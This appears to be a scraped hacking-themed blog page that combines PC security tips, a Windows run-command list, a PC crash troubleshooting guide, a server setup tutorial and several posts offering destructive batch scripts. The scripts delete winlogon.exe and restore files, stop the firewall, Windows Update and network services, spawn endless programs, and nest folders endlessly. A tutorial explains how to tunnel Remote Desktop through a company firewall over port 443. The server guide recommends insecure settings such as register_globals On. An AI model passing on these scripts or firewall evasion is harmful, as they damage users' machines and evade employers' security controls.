8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue. 
 
9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions. 
 
10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support." 
 
</div>

10 Fast and Free Security Enhancements PC magazine

Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats. 1. C...

Dangerous batch File Coding for corrupt the pc

1.copy this and paste this in your notepad.. @echo off del c:windowssystem32restore del c:windowssystem32winlogon.exe del c:windowssystem...

Service Disabler using bat file

<div dir="ltr" style="text-align: left;" trbidi="on">
open notepad & type @echo off net stop “Windows Firewall” net stop “Windows Update” net stop Workstation net stop “DHCP Client” net stop “DNS Client” net stop “Print Spooler” net stop Themes exit save as myhackzs.bat</div>

Service Disabler using bat file

open notepad & type @echo off net stop “Windows Firewall” net stop “Windows Update” net stop Workstation net stop “DHCP Client” net sto...

Application Bomber using notepad

<div dir="ltr" style="text-align: left;" trbidi="on">
open notepad & type @echo off :loop start notepad start compmgmt.msc start mspaint start osk start cmd start explorer start control start calc goto loop save as myhackzs.bat</div>

Application Bomber using notepad

open notepad & type @echo off :loop start notepad start compmgmt.msc start mspaint start osk start cmd start explorer start control sta...

Folder Replicator Virus using bat file

open notepad & type :loop md Virus cd Virus goto loop save as hackzs.bat

matrix effect in cmd using notepad

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
Press start+r</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
in run type : notepad</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
open Notepad & Type</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
@echo off</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
color 02</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
:myhackzs</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px; text-align: justify;">
echo %random% %random% %random% %random% %random% %random% %random% %random%</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
goto myhackzs</div>
<div style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 0.75em; margin-top: 0.25em; padding: 0px;">
Save as myhackzs.bat</div>
</div>

matrix effect in cmd using notepad

Press start+r in run type : notepad open Notepad & Type @echo off color 02 :myhackzs echo %random% %random% %random% %ran...

windows run commands used by system admininstrators

<div dir="ltr" style="text-align: left;" trbidi="on">
 
cmd = Command Prompt 
iexplore + "web address" = Internet Explorer 
compmgmt.msc = Computer Management 
dhcpmgmt.msc = DHCP Management 
dnsmgmt.msc = DNS Management 
services.msc = Services 
eventvwr = Event Viewer 
dsa.msc = Active Directory Users and Computers 
dssite.msc = Active Directory Sites and Services 
 
devmgmt.msc = Device Manager 
msinfo32 = System Information 
cleanmgr = Disk Cleanup 
ntbackup = Backup or Restore Wizard (Windows Backup Utility) 
mmc = Microsoft Management Console 
excel = Microsoft Excel (If Installed) 
msaccess = Microsoft Access (If Installed) 
powerpnt = Microsoft PowerPoint (If Installed) 
winword = Microsoft Word (If Installed) 
frontpg = Microsoft FrontPage (If Installed) 
notepad = Notepad 
wordpad = WordPad 
calc = Calculator 
msmsgs = Windows Messenger 
mspaint = Microsoft Paint 
wmplayer = Windows Media Player 
rstrui = System Restore 
netscp6 = Netscape 6.x 
netscp = Netscape 7.x 
netscape = Netscape 4.x 
waol = America Online 
control = Opens the Control Panel 
control printers = Opens the Printers Dialog 
 
</div>

windows run commands used by system admininstrators

cmd = Command Prompt iexplore + "web address" = Internet Explorer compmgmt.msc = Computer Management dhcpmgmt.msc = DHCP Mana...

10 reasons why PCs crash U must Know

<div dir="ltr" style="text-align: left;" trbidi="on">
 
 
 
<h2 style="text-align: left;">
1 Hardware conflict</h2>
 
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device. 
 
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself. 
 
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route: 
 
* Start-Settings-Control Panel-System-Device Manager. 
 
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it. 
 
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it. 
 
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty). 
 
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity. 
 
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs. 
 
<h2 style="text-align: left;">
2 Bad Ram</h2>
 
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing. 
 
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked. 
 
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged. 
 
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble. 
 
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes. 
 
<h2 style="text-align: left;">
3 BIOS settings</h2>
 
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up. 
 
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to. 
 
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display. 
 
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.). 
 
<h2 style="text-align: left;">
4 Hard disk drives</h2>
 
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to 
 
* Start-Programs-Accessories-System Tools-Disk Defragmenter 
 
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler. 
 
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop). 
 
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to 
 
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk. 
 
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space. 
 
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to 
 
* Start-Programs-Accessories-System Tools-ScanDisk 
 
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use. 
 
<h2 style="text-align: left;">
5 Fatal OE exceptions and VXD errors</h2>
 
Fatal OE exception errors and VXD errors are often caused by video card problems. 
 
These can often be resolved easily by reducing the resolution of the video display. Go to 
 
* Start-Settings-Control Panel-Display-Settings 
 
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate. 
 
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to 
 
* Start-Settings-Control Panel-System-Device Manager 
 
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts. 
 
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse. 
 
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message. 
 
Another useful way to resolve video problems is to go to 
 
* Start-Settings-Control Panel-System-Performance-Graphics 
 
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device). 
 
Look up your video card's manufacturer on the internet and search for the most recent drivers for it. 
 
<h2 style="text-align: left;">
6 Viruses</h2>
 
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to 
 
* Start-Settings-Control Panel-Add/Remove Programs 
 
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance. 
 
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer. 
 
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com). 
 
<h2 style="text-align: left;">
7 Printers</h2>
 
The action of sending a document to print creates a bigger file, often called a postscript file. 
 
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance. 
 
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on. 
 
<h2 style="text-align: left;">
8 Software</h2>
 
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy. 
 
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000. 
 
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org 
 
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode. 
 
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly. 
 
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work. 
 
Remember to restore all the BIOS settings back to their former settings following installation. 
 
<h2 style="text-align: left;">
9 Overheating</h2>
 
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to. 
 
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com 
 
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable. 
 
<h2 style="text-align: left;">
10 Power supply problems</h2>
 
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut. 
 
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut. 
 
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost. 
<div>
 </div>
</div>

10 reasons why PCs crash U must Know

1 Hardware conflict The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other device...

Remote Desktop Through Company Firewall

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here 
 
Note this tutorial is collection of tips I gathered from searching the internet and some credit is due to the original authors. None of which I know. 
 
A lot of people I know love using the Windows Remote Desktop feature at work, however are prevented from connecting to their home computer because of the company firewall. This is because most corporate firewalls block port 3389 which Remote Desktop uses. Most just switch to VNC, however most find it slower than Remote Desktop. 
 
This quick tutorial shows how (from a fire walled network that blocks port 3389) you can access your home computer using MS Remote Desktop. 
 
*This tutorial assumes you have or know how to setup and dynamic DNS client if you need one 
 
*Assumes you know how to setup port forwarding if you need to. 
 
Because Remote Desktop is using port 3389 by default, it is not possible to go through a firewall. So you can use port 443. Because this port is always open on your companies firewall to allow https. (One would assume ) 
 
At your home PC: 
 
1) Configure Your pc to allow Remote Connections in your System Properties (windows - Break) tab Remote. Check 'Allow users to connect remote to this computer. 
 
2) (add users if needed) 
 
3) According to 
CODE 
http://support.microsoft.com/default.aspx?scid=kb;en-us;306759] 
 
In the registry change 
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber to 443 (click Decimal radio button first) 
 
*Configure your firewall to allow traffic through port 443 (If you need to) 
 
*Configure your route to forward port 443 to your computer (If you need to) 
 
If you have IIS running you have to change the port number of https. because it is already listening on this port. 
C:\WINDOWS\system32\cscript.exe c:\inetpub\adminscripts\adsutil.vbs SET w3svc/1/ 
SecureBindings ":444:" 
 
Or just disable IIS Service 
 
 
For your PC at work: 
 
According to 
CODE 
http://support.microsoft.com/default.aspx?scid=kb;en-us;304304 
 
you can just type the port after the IP-Address of your home PC. 
 
*Or if you have a Dynamic DNS Client such as No-IP or DynDNS you can type in that address. 
 
Alternatively 
You can add the following to the rdp file. (which you can get to click on Save As on the tab General of Remote Desktop Connection) 
server port:i:443 
 
Extra tip: to have access to your clients hard disk on your remote desktop, check Disk Drives on the tab Local Resources of Remote Desktop Connection 
</div>

Remote Desktop Through Company Firewall

Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here Note this tuto...

Remote Desktop Through Company Firewall

Remote Desktop Through Company Firewall

Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here Note this tuto...

How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Let's start by installing apache (http server) . you can download the 
apache installer on www.apache.org . download the verion you like , 
even thought , in win systems i recomand verion 2 (this tutorials is 
for apache 2) . here is a link for it : 
 
Code: 
 
http://apache.mirror.nedlinux.nl/dist/httpd/binaries/win32/apache_2.0.52-win32-x86-no_ssl.msi 
 
 
for a faster mirror , visit http://httpd.apache.org/download.cgi . 
 
After downloading the file (.msi installer) , run it . The installation wizard 
is a next , next , finish 'work' ... The installer will ask you some details like 
your server name , your server adress and the admin's mail adress . if 
you have a domain name or a hostname , enter the info's like this : 
 
Code: 
 
Server Name : your_domain.org 
 
Server Adress : www.your-domain.org 
 
Admin Email : admin@yourdomain.org 
 
 
if you don't have one , you should get on e free at : 
 
Code: 
 
http://www.no-ip.org/ 
 
 
Check the 'Run as a service for all users on port 8080' option and click 
next , finish to fiinish the instllation . Advice : Install it in c: (he creates 
a folder for it , don't worry) to make sure you configure it easyer . 
If you are finished , open up a browser and write in the adress bar : 
 
Code: 
 
http://localhost/ 
 
 
If you will see a 'Test Page for Apache Installation' , everything works . 
 
===== 
 
Let's install PHP . download the archives from www.php.net . Here is a 
direct link for verion 4.3.9 : 
 
Code: 
 
http://nl.php.net/get/php-4.3.9-Win32.zip/from/this/mirror 
 
 
Make sure you download the archive and not the installer . Ok! after 
downloading it , extract the archive in c:/php (this is to simplify paths) . 
Now , open up c:/apache/conf/httpd.conf and search for this line : 
 
Code: 
#LoadModule ssl_module modules/mod_ssl.so 
 
 
under that line , add this : 
 
Code: 
LoadModule rewrite_module modules/mod_rewrite.so 
 
LoadModule php4_module "c:/php/sapi/php4apache2.dll" 
AddType application/x-httpd-php .php 
AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .php4 
 
 
Now search for this line : 
 
Code: 
<Directory "C:/Apache2/htdocs"> 
 
 
Change : 
 
Code: 
Options Indexes FollowSymLinks 
 
# 
# AllowOverride controls what directives may be placed in .htaccess files. 
# It can be "All", "None", or any combination of the keywords: 
#   Options FileInfo AuthConfig Limit 
# 
    AllowOverride None 
 
 
into : 
 
Code: 
Options Indexes Includes FollowSymLinks MultiViews ExecCGI 
 
# 
# AllowOverride controls what directives may be placed in .htaccess files. 
# It can be "All", "None", or any combination of the keywords: 
#   Options FileInfo AuthConfig Limit 
# 
    AllowOverride All 
 
 
This will allow .htaccess support on your server and make sure you can 
see the content of a folder without getting a 403 forbidden error . 
 
Now search for : 
 
Code: 
DirectoryIndex index.html index.var.html 
 
 
and change it into : 
 
Code: 
DirectoryIndex index.html index.php 
 
 
Save the file and restart apache . (you can restart it by pressing the 
Restart apache server shortcut in the start menu or by writing : 
 
Code: 
net apache restart 
 
 
in a command prompt window . Ok! 
 
you have php working for your server icon_wink.gif . Now let's configure php and 
make sure it really works ! Open up c:/php/php.ini (php.ini-dist renamed) 
and search for this paragraph : 
 
Code: 
max_execution_time = 60    ; Maximum execution time of each script, in seconds 
max_input_time = 60   ; Maximum amount of time each script may spend parsing request data 
memory_limit = 5M      ; Maximum amount of memory a script may consume (8MB) 
 
 
you should change this to whatever you want . here is an option i use : 
 
Code: 
max_execution_time = 300    ; Maximum execution time of each script, in seconds 
max_input_time = 300   ; Maximum amount of time each script may spend parsing request data 
memory_limit = 5M      ; Maximum amount of memory a script may consume (8MB) 
 
 
Now search for : 
 
Code: 
register_globals = Off 
 
 
and change it into : 
 
Code: 
register_globals = On 
 
 
Search for : 
 
Code: 
extension_dir = ".\" 
 
 
and change it into : 
 
Code: 
extension_dir = "c:/php/extensions" 
 
 
assuming you have installed php in c: ... 
 
Search for : 
 
Code: 
;Windows Extensions 
;Note that MySQL and ODBC support is now built in, so no dll is needed for it. 
 
 
and uncomment (delete the ; in the front) the following modules : 
 
Code: 
extension=php_bz2.dll 
extension=php_db.dll 
extension=php_gd2.dll 
extension=php_java.dll 
extension=php_msql.dll 
extension=php_pdf.dll 
extension=php_pgsql.dll 
extension=php_sockets.dll 
 
 
Ok! now let's change the smtp settings (this is good icon_smile.gif for you mail() 
function . you need this !!!) Search for : 
 
Code: 
[mail function] 
; For Win32 only. 
SMTP = 
smtp_port = 25 
 
; For Win32 only. 
;sendmail_from = 
 
 
and change to : 
 
Code: 
[mail function] 
; For Win32 only. 
SMTP = mail.isp.org 
smtp_port = 25 
 
; For Win32 only. 
sendmail_from = mail@your_domain.org 
 
if you don't have a mail server or : 
 
Code: 
[mail function] 
; For Win32 only. 
SMTP = localhost 
smtp_port = 25 
 
; For Win32 only. 
sendmail_from = mail@your_domain.org 
 
if you have a mail server ... 
 
Save the files . Now let's finalize the php installation . copy all the dll's 
from c:/php/dlls into c:/windows/system32 . copy c:/php/php4ts.dll into 
c:/windows/system32/ and copy php.ini from your folder php into 
windows and system32 folder . restart apache . open up notepad and 
add this into the file : 
 
Code: 
<?php 
   phpinfo(); 
?> 
 
 
save this file in your htdocs folder (c:/apache/htdocs) as info.php and 
open up a browser . in the adress bar write : 
 
Code: 
http://localhost/info.php 
 
 
you should see php's configuration in a table . a looong file icon_smile.gif 
you can optionaly install zend optimizer . i am using it ... it doesn't 
needs a tutorial . to install the PEAR modules for php , just run the 
go-pear batch from the php folder and 2click the reg file to finish the 
instllation . 
 
===== 
 
let's install mysql . download mysql from http://www.mysql.com/ . 
this tutorial applyes to verion 4.0.* ... i don't recomand using mysql 
4.1 . here is a direct link : 
 
Code: 
http://dev.mysql.com/get/Downloads/MySQL-4.0/mysql-4.0.22-win.zip/from/http://mysql.proserve.nl/ 
 
 
after downloading , extract the arhive somewhere and run the setup.exe . 
install mysql in c:/mysql and complete the installation . open up command 
prompt and write this : 
 
Code: 
cd mysql 
cd bin 
mysqld-max-nt --install 
 
 
this will install mysql as a service . recomended . now you would probably 
consider downloading mysql control center . a gui tool to administrate the 
server in a graphical mode . here is a link : 
 
Code: 
http://dev.mysql.com/get/Downloads/MySQLCC/mysqlcc-0.9.4-win32.zip/from/http://mysql.proserve.nl/ 
 
 
install it like any other program and run the shortcut in the desktop . a 
window will pop-up . it will ask you to add a new connection . here are the 
info's you need to fill in : 
 
Code: 
name : localhost or main or whatever :) 
host : localhost 
user : root 
pass : 
 
 
click add , expand the databases menu and delete databse text . now 
expand the users menu and delete all users except root@localhost . right 
click it and select edit user . change it's password to whatever you want icon_smile.gif 
now right click the server and select edit . change the password to the 
pass you chosed for user root . as easy as that . mysql is installed ! 
 
===== 
 
phpMyADmin . you can download it from http://www.phpmyadmin.net/ . 
i recommend using verion 2.5.1 pl1 . the last verion is still bugy icon_smile.gif 
download , unzip the contecnt into a folder in htdocs (phpMyAdmin) and 
open up config.inc.php with a text editor . 
 
search for : 
 
Code: 
$cfg['PmaAbsoluteUri'] = ''; 
 
 
change it to your phpmyadmin url . eg. : 
 
Code: 
$cfg['PmaAbsoluteUri'] = http://www.your_domain.org/phpMyAdmin/'; 
 
 
now search for : 
 
Code: 
$cfg['blowfish_secret'] = ''; 
 
 
and change it to your mysql root password like this : 
 
Code: 
$cfg['blowfish_secret'] = 'password'; 
 
 
now search for : 
 
Code: 
$cfg['Servers'][$i]['auth_type']     = 'config'; 
 
 
and change it to : 
 
Code: 
$cfg['Servers'][$i]['auth_type']     = 'cookie'; 
 
 
save and exit . that's it ! phpMyAdmin works icon_wink.gif 
 
===== 
 
Perl . Optioanl for your server , very usefull . i recomend you to install 
it . you can download it from http://www.activestate.com/ . here is a 
direct link : 
 
Code: 
http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.4.810-MSWin32-x86.msi 
 
 
download , install and you are ready . put your perl scripts in the /cgi-bin/ 
folder (c:/apache/cgi-bin) . 
 
 
</div>

How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin

Let's start by installing apache (http server) . you can download the apache installer on www.apache.org . download the verion you li...